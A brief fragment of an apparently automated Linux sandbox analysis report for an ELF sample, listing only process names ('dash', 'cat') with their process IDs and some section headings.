Chronological Activities

Analysis Process: dash PID: 6226, Parent PID: 4331

General

Chronological Activities

Analysis Process: cat PID: 6226, Parent PID: 4331

Linux Analysis Report
N1msxMZ5Il.elf